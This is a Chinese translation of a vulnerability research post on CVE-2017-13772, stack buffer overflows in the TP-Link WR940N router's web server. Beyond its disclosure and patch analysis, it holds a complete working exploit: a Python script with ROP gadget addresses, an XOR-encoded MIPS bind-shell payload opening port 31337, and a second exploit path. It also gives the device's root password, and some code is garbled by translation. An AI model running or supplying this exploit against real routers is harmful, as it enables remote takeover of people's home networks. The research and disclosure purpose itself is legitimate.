[翻译]TP-LINK (CVE-2017-13772) 远程执行代码的利用

发布者:阿東
发布于:2018-04-20 14:13

一、介绍


在这篇文章中,我将讨论我最近的发现,同时对家庭路由器进行脆弱性研究:TP-Link的WR940N家庭WiFi路由器。

这篇文章将概述识别易受攻击的代码路径的步骤,以及如何利用这些路径来获取远程执行代码。我将首先描述我如何发现第一个漏洞,为开发完整的漏洞利用所采取的方法,然后通过显示此漏洞提供了一个“模式”,从而将该设备暴露给数百个漏洞。


二、解压设备


我进行这项研究的设备是TP-Link的WR940N家庭WiFi路由器(硬件版本4)。一般来说,在物联网(IoT)设备开始研究周期时,我所做的第一件事是抓住固件的副本并提取文件系统。

固件链接:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

TP-Link Binwalk

我们可以在这里看到二进制文件已经识别和提取文件系统。下一步是收集有关设备上运行的信息的几点信息。首先,我抓住影子文件的内容(很快你就会知道我这么做的原因)。

TP-Link影子文件

我研究过的大多数嵌入式系统都使用busybox,所以重要的是要看到我们可以运行什么,我们应该找到一些形式的shell注入。有两种方法可以做到这一点:一个将列出所有符号链接到busybox。但是,我喜欢在chrooted环境下运行qemu下的busybox二进制文件,因为它会告诉我们它启用了哪些实用程序:

Busybox检查

虽然没有telnetd,netcat等。但是,我们有tftp,我们可以使用,如果我们能够获得shell注入。最后,快速查看rc.d / rcS显示,路由器启动时最后一件事情是运行httpd二进制文件,我以为我会从这里开始,因为HTTP守护进程通常会显示一个大的攻击面。


三、初步测试 


在Web界面的初始测试期间,我确定了一个区域,导致设备在通过输入大字符串时停止响应。这里感兴趣的是,用户被禁止通过客户端代码输入超过50个字符:
TP-Link Web界面
显然,这是很容易被burpsuite绕过。在等待USB来启动设备时,我决定将这些字段“fuzz”一点,我发现给一个51字节的ping_addr导致:
字符错误
虽然HTTP端口仍然打开。使用一些通俗的fuzzing,我只是增加到200,发现这确实崩溃了服务:
TP-Link崩溃
所以在这一点上,我们发现一个拒绝服务(DoS)的漏洞,但这很无聊。要正确调试正在发生的事情,我需要通过其uart界面访问设备,我采取的步骤来自https://wiki.openwrt.org/toh/tp-link/tl-wr940n。请注意,一旦设备完成启动,我们会看到一个登录提示,你可以尝试破解上面的影子文件中的密码,或者你可以像我一样去google搜索它,root的密码是sohoadmin
TP-Link根访问
现在我们可以访问设备了 我们可以查看一下,以确定实际运行的是什么。我们可以在这里看到httpd二进制文件负责很多进程。
TP-Link PS
最后一步是下载gdbserver。让交叉编译的gdbserver正常运行时遇到很多麻烦,幸运的是,如果您下载了该设备的GPL源代码,那么会有一个预编译的gdbserver二进制文件。我复制了使用SCP,然后经过一番尝试和错误发现附加到最后一个httpd进程使我们能够调试实际的Web界面。

四、发现漏洞


如上所述,如果我将用户输入提供给比JavaScript代码允许的接口更大的接口,则HTTP服务将会崩溃。

在IDA中打开二进制文件,清楚地显示了正在发生的事情,从sub_453C50开始,典型的检查请求的功能是有效和经过身份验证的:

TP-LINK IDA 1

接下来,调用httpGetEnv,请注意,像“ping_addr”,“isNew”等值是通过GET参数传递的值。然后再来(仍然在同一个函数),ipAddrDispose被调用:

TP-LINK IDA 2

TP-LINK IDA 3

此功能是(第一)漏洞存在的位置。在函数开始时,将声明一个堆栈变量var_AC。然后将它作为目标参数传递给对strcpy的调用,这里的问题是源参数($ s1)是函数的第一个参数,并且没有对其长度进行验证,这是一个经典的缓冲区溢出。

TP-LINK IDA 4

TP-LINK IDA 5

五、poc验证


我写了一个快速的python脚本来触发漏洞 - 注意登录功能。当我们登录到此设备时,会生成随机URL。

import urllib2 
import urllib 
import base64 
import hashlibdef login(ip​​,user,pwd):
####生成b64enc形式的auth cookie('admin:'+ md5('admin'))
hash = hashlib.md5()
hash .update(pwd)
auth_string =“%s:%s”%(user,hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print“[debug]编码授权:%s”%encoded_string ####发送请求
url =“http://”+ ip +“/userRpm/LoginRpm.htm?Save 
= Save” req = 
urllib2.Request(url)req.add_header('Cookie','Authorization = Basic%s'%encoded_string )
resp = urllib2.urlopen(req)####服务器为进一步的请求生成一个随机路径,在这里获取
data = resp.read()
next_url =“http://%s /%s / userRpm /”%(ip,data.split(“=”)[2] .split(“/”)[3])
print“[debug]对于下一阶段,url现在是%s“%next_urlreturn(next_url,encoded_string)
def exploit(url,auth):
#控制s0,s1 + ra + shellcode 
evil =“\ x41”* 800 
params = {'ping_addr':evil,'doType':'ping','isNew' new','sendNum':'20','pSize':'64','overTime':'800','trHops':'20'}
new_url = url +“PingIframeRpm.htm?”+ urllib.urlencode(params)
req = urllib2.Request(new_url)
req.add_header('Cookie','Authorization = Basic%s'%auth)
req.add_header('Referer',url +“DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ =='__main__': data = login(“192.168.0.1”,“admin”,“admin”) exploit(data [0],data [1])
启动gdbserver(记住要附加到最后一个httpd进程),我在ipAddrDispose退出之前设置一个断点,然后运行poc证明:
TP-LINK gdbserver
我们可以看到,我们已经获得了返回地址的控制权。在执行典型的msf_pattern_create / pattern_offset例程之后,我们发现$ ra在偏移168处被覆盖,并且我们分别控制在$ s0和$ s1的偏移量160和164。我们还有一个很好的大缓冲区堆栈来放shellcode:
TP-LINK Gdbserver 2

六、Exploit开发


为了利用这个漏洞,有一些关于Mips架构的事情要注意。第一个是缓存一致性。这已经在其他博客中被广泛的提到(http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow )简单来说,如果我们尝试在堆栈上执行shellcode,CPU将检查它是否具有来自其缓存中的虚拟地址的数据,如果它将执行它,这意味着在我们触发我们的漏洞之前的任何堆栈很可能会被处决。此外,如果我们的shellcode具有自修改属性(IE我们使用编码器),编码的指令将最终被执行,而不是解码。
缓存图像

参考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

正如我发现的许多在线资源所述,刷新缓存的最佳方式是将ROP调入睡眠状态。触发该漏洞后,我将最终进行两次呼叫,一次直接进入休眠状态,第二次,我的解码器完成了以不良字节解码指令(稍后再说)。

要确定要使用哪些小工具,我们必须确定可执行哪些库及其所在的地址(请注意,默认情况下不启用ASLR)。

httpd maps:
00400000-00587000 r-xp 00000000 1f:02 64 / usr / bin / httpd 
00597000-005b7000 rw-p 00187000 1f:02 64 / usr / bin / httpd 
005b7000-00698000 rwxp 00000000 00:00 0 [heap] 
2aaa8000 -2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aaad000-2aaae000 rw-p 00000000 00:00 0 
2aaae000-2aab2000 rw-s 00000000 00:06 0 / SYSV0000002f(已删除)
2aabc000 -2aabd000 r-p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aabe000-2aacb000 r- xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 
2aacb000-2aada000 -p 00000000 00:00 0
2aada000-2aadb000 r-p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 
2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 
2aae0000-2aae2000 rw-p 00000000 00 :00 0 
2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so <... .. snip ... ..> 7edfc000-7ee00000 rwxp 00000000 00:00 0 
7effc000-7f000000 rwxp 00000000 00:00 0 
7f1fc000-7f200000 rwxp 00000000 00:00 0 
7f3fc000-7f400000 rwxp 00000000 00:00 0 
7f5fc000-7f600000 rwxp 00000000 00:00 0 
7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]

LibuClibC-0.9.30.so看起来像一个好的目标,在IDA中打开它,并使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py脚本,我们可以开始寻找小工具。

首先,我们需要一个小工具:

li $ a0,1
mov $ t9,$ s0或$ s1 #we控制$ s0和$ s1
jr $ t9
运行的第一个命令是mipsrop.set_base(0x2aae000),它将自动计算我们的实际地址。

注意第二个小工具,它返回到$ s1中的地址:
第二个小工具图片

这是我用来唤醒sleep的gadget  它的地址将覆盖ipAddrDispose的返回地址。

我们需要的下一个 gadget(将放入$ s1)需要调用sleep,但在它需要将我们要睡眠后调用的小工具的地址放在ra中。我们可以使用mipsrop.tail()来找到这样的小工具



这个 gadget 运行良好,这里唯一要注意的是它会在第一次运行时自动调用它。

第一次被调用时,$ s1将包含0x2AE3840,将用作$ t9中的地址跳转。要让这个小工具正常工作,我们需要准备堆栈,在第一次调用时,我们需要将sleep地址放在$ s1中,因此需要在0x20($ sp)。在第二次调用gadget时,$ t9将具有sleep地址,我们需要将要调用的下一个gadget的地址设置为0x24($ sp),然后我们可能需要填写$ s0和$ s1与我们的最终gadget(将跳转到我们的shellcode)

这给了我们以下payload:

rop =“A”* 164 + call_sleep + prepare_sleep +“B”* 0x20 + sleep_addr 
$ s0 $ s1 $ ra
rop + =“C”* 0x20 +“D”* 4 +“E”* 4 + next_gadg
调用的下一个 gadget (从sleep返回后)需要将堆栈指针存储在寄存器中,然后跳转到$ s0或$ s1中的地址(因为我们控制这两个)。这将导致最终的 gadget 将跳转到该寄存器(意味着它将跳转到堆栈的某个位置,最好是shellcode的位置)。mipsrop.py中的一个方便的功能是 stack stackfinder():

看起来这些gadget似乎都很有希望。看最后一个:


知道$ s0可以从以前的 gadget 进行控制,现在需要做的就是找到一个跳转到$ s2(这将是一个堆栈地址)的地址的 gadget

任何一个这些 gadget 都可以工作。我更喜欢使用对其他寄存器影响最小的 gadget ,我在这里找到:

此时,有效载荷如下所示:
nop =“\ x22 \ x51 \ x44 \ x44” 
gadg_1 =“\ x2A \ xB3 \ x7C \ x60” 
gadg_2 =“\ x2A \ xB1 \ x78 \ x40” 
sleep_addr =“\ x2a \ xb3 \ x50 \ 
x90 ” stack_gadg = “\ x2A \ xAF \ x84 \ xC0” 
call_code =“\ x2A \ xB2 \ xDC \ xF0”def first_exploit(url,auth):
#trash $ s1 $ ra 
rop =“A”* 164 + gadg_2 + gadg_1 +“B “* 0x20 + sleep_addr 
rop + =”C“* 0x20 + call_code +”D“* 4 + stack_gadg + nop * 0x20 + shellcode

当这个漏洞运行时,我们最后会停在sled(滑板指令上),唯一要做的就是:写一些shellcode,识别坏字符,并将<decode> + <sleep> + <编码shellcode>附加到漏洞。

我发现唯一不好的字节是0x20,然而0x00也是必须要处理的。

我努力使任何典型的有效载荷正常工作,msf_venom将无法使用mips / long_xor编码。我也无法获得 bowcaster 的有效载荷。我以前没有写过mips shellcode,所以我决定写一个非常简单的编码器,它只能通过引用它们在堆栈上的偏移来对具有不良字节的指令进行操作。

.set noreorder
#nop
addi $s5, $s6, 0x4444#xor key
li $s1, 2576980377#get address of stack
la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)
addi $s2, $s2, -864#decode first bad bytes
lw $t2, -263($s2)
xor $v1, $s1, $t2
sw $v1, -263($s2)#decode 2nd bad bytes
lw $t2, -191($s2)
xor $v1, $s1, $t2
sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444 #nop

这显然不是最有效的做事方式,因为它需要在堆栈上找到每个坏字节的偏移量

(幸运的是,mips是4字节对齐的指令,因此每个偏移是4的倍数)。它还需要计算每个坏字节指令的编码值。可以说这就完美了

写一个bind shell的shellcode非常简单。

.set noreorder 
###### sys_socket ###### 
addiu $ sp,$ sp,-32 
li $ t6,-3 
或$ a0,$ t6,$ zero 
或$ a1,$ t6,$ zero 
slti $ a2,$ 0,-1 
li $ 
v0,4183 syscall 0x40404 ##### sys_bind #### 
add $ t9,$ t9,0x4444 #nop 
andi $ s0,$ v0,0xffff 
li $ t6,-17 nor $ t6,$ t6,$ zero 
li $ t5,0x7a69 #port 31337 li $ t7,-513 
或$ t7,$ t7,$ zero 
sllv $ t7,$ t7,$ t6 
或$ t5,$ t5,$ t7 sw $ t5,-32($ sp)sw $零,-28($ sp)
sw $零,-24($ sp)
sw $ 0,-20($ sp)
或$ a0,$ s0,$ s0 
li $ t6,-17或$ a2,$ t6,$ zero 
addi $ a1,$ sp,-32 
li $ 
v0,4169 syscall 0x40404 ##### listen ##### 
li $ t7,0x7350 
or $ a0,$ s0,$ s0 
li $ a1,257 
li $ v0,4174 
syscall 0x40404 ##### accept ##### 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$ zero,-1 
slti $ a2,$ zero,-1 
li $ v0,4168 
syscall 0x40404 ##### dup fd's #### 
li $ t7,0x7350 
andi $ s0,$ v0,0xffff 
或$ a0,$ s0,$ s0 
li $ t7,-3 
或$ a1,$ t7,$ zero 
li $ v0,4063
系统调用0x40404 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$ zero,0x0101 
li $ v0,4063 
系统调用0x40404 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$零,-1 
li $ v0,4063 
系统调用0x40404 ###### execve ###### 
lui $ t7,0x2f2f 
ori $ t7,$ t7,0x6269 
sw $ t7,-20($ sp)
lui $ t6 ,0x6e2f 
ori $ t6,$ t6,0x7368 
sw $ t6,-16($ sp)
sw $ zero,-12($ sp)
addiu $ a0,$ sp,-20 
sw $ a0,-8($ sp)
sw $ 0,-4($ sp)
addiu $ a1,$ sp,-8 
li $ v0,4011 
syscall 0x40404 #### sleep ##### 
li $ 
v0,4166 li $ t7,0x0368
addi $ t7,$ t7,-0x0304 
sw $ t7,-0x0402($ sp)
sw $ t7,-0x0406($ sp)
la $ a0,-0x0406($ sp)
syscall 0x40404 addi 
$ t4,$ t4,4444

请注意,如果我们在调用execve后没有调用sleep,原始进程将会死机,从而导致所有其他httpd进程死机,从而阻止我们访问bind shell。

此漏洞的最终漏洞利用如下:

import urllib2
import urllib
import base64
import hashlib
import osdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string
#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[debug] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x9f”
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69”            #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):
#                      trash      $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…”
print “[+] Please wait a few seconds before connecting to port 31337…”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)                         
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
first_exploit(data[0], data[1])

七、进一步分析


这个漏洞有一个非常简单的模式,用户从GET参数输入直接传递给对strcpy的调用,无需任何验证。进一步分析二进制,这种相同的模式在很多地方都呈现。

实际上,对strcpy有很多的调用:

对于供应商的信用,他们在几天内为第一个漏洞提供了补丁。但是,在我的回答中,我概述了几乎所有这些对strcpy的调用都需要用更安全的字符串复制功能替代。为了证明这一点,我决定开发第二个漏洞,通过dnsserver2参数触发WanStaticIpV6CfgRpm.htm中的缓冲区溢出。

这个漏洞与以前一样,在自定义编码器中只有一个偏移量改变(因为堆栈指针指向不同的位置)。唯一的主要区别是我在Mips exploit开发研究中没有遇到的问题,这是一个字节对齐。在开发这个漏洞的时候,我不断收到非法的指令错误,我注意到,我的nop sled看起来不像以前那样:


注意所有指令是否相隔2个字节。这样做的原因实际上在于我的有效载荷:


这个缓冲区的结尾有一个我没有指定的输入,强制有效载荷结束对齐。事实证明,即使这是最后,我需要填补最终的有效载荷,使其恢复对齐,一旦完成,那么它的应用应该是:


我们得到我们的绑定shell:


最终的代码包含两个漏洞的工作漏洞如下:

(请注意,在第二个exp中,几乎所有的GET参数都容易受到缓冲区溢出的影响)

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
“___________________________________________________________________________\n”
“WR940N Authenticated Remote Code Exploit\n”
“This exploit will open a bind shell on the remote target\n”
“The port is 31337, you can change that in the code if you wish\n”
“This exploit requires authentication, if you know the creds, then\n”
“use the -u -p options, otherwise default is admin:admin\n”
“___________________________________________________________________________”
)def login(ip, user, pwd):
print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[+] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[+] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x4b” #0x27b2059f for first_exploit
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1”

#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”

################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69”            #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)

###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0”

def first_exploit(url, auth):
#                      trash $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr + “C”*4
rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}

new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)

resp = urllib2.urlopen(req)

def second_exploit(url, auth):
url = url + “WanStaticIpV6CfgRpm.htm?”
#                 trash      s0      s1      s2       s3     s4      ret     shellcode
payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c
payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4
payload += stack_gadg + “A”*4 +  nop*10 + shellcode + “B”*7
print len(payload)

params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’,
‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’,
‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’,
‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’}

new_url = url + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”)

resp = urllib2.urlopen(req)

if __name__ == ‘__main__’:
print banner
username = “admin”
password = “admin”

parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host”,
help=”target ip address”)

parser.add_option(“-u”, “–user”, dest=”username”,
help=”username for authentication”,
default=”admin”)

parser.add_option(“-p”, “–password”, dest=”password”,
help=”password for authentication”,
default=”admin”)

(options, args) = parser.parse_args()

if options.host is None:
parser.error(“[x] A host name is required at the minimum [x]”)

if options.username is not None:
username = options.username
if options.password is not None:
password = options.password

(next_url, encoded_string) = login(options.host, username, password)

###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
second_exploit(next_url, encoded_string)

八、影响范围


目前,对shodan的快速搜索显示了7200台连接到互联网的设备。(这个数字在一个月内增长了3500个)
Shodan 7200

九、漏洞修补


为了补丁这些漏洞,供应商需要用更安全的操作(如strncpy)来代替大部分对strcpy的调用。为了他们的信誉,他们非常快地实现了这一点,并在一周内提供了一个补丁,报告其他脆弱的代码区域。我将快速分析所制作的补丁。

首先要做的最简单的事情就是看看strcpy的交叉引用,从脆弱的二进制文件中我们有700多个调用,在修补版本中,我们可以看到不再是这样:


对这些位置的进一步分析显示,这些调用不对用户输入进行操作,例如:


现在,如果我们分析一个我们知道的区域是易受攻击的,例如dnsserver2 GET参数:


为了快速参考

$ a0 = dest,$ a1 = src,$ a2 = size 所以接下来我们可以看到:

0x2C在loc_452E0C之前加载到$ a2中。然后使用httpGetEnv抓取“dnsserver2”参数。如果httpGetEnv返回0,那么缓冲区var_24f被清零。

否则,返回的指针被移动到$ a1。大小0x2C加载到$ a2中。目的地已经在$ a0。之后,根据httpGetEnv的结果,调用memset或strncpy(通过$ t9)。

我们可以看到,这不允许发生缓冲区溢出,因为只能将最大数量的字节复制到缓冲区中。请注意,var_24F是一个大小为0x2C的基于堆栈的缓冲区。事实上,我们现在可以看到,提供给供应商的易受攻击的模式已被一个安全模式所取代。因此,修补程序通过在用户提供的输入上删除对strcpy的调用来正确保护缓冲区溢出。

使用的工具:

Binwalk

IDA

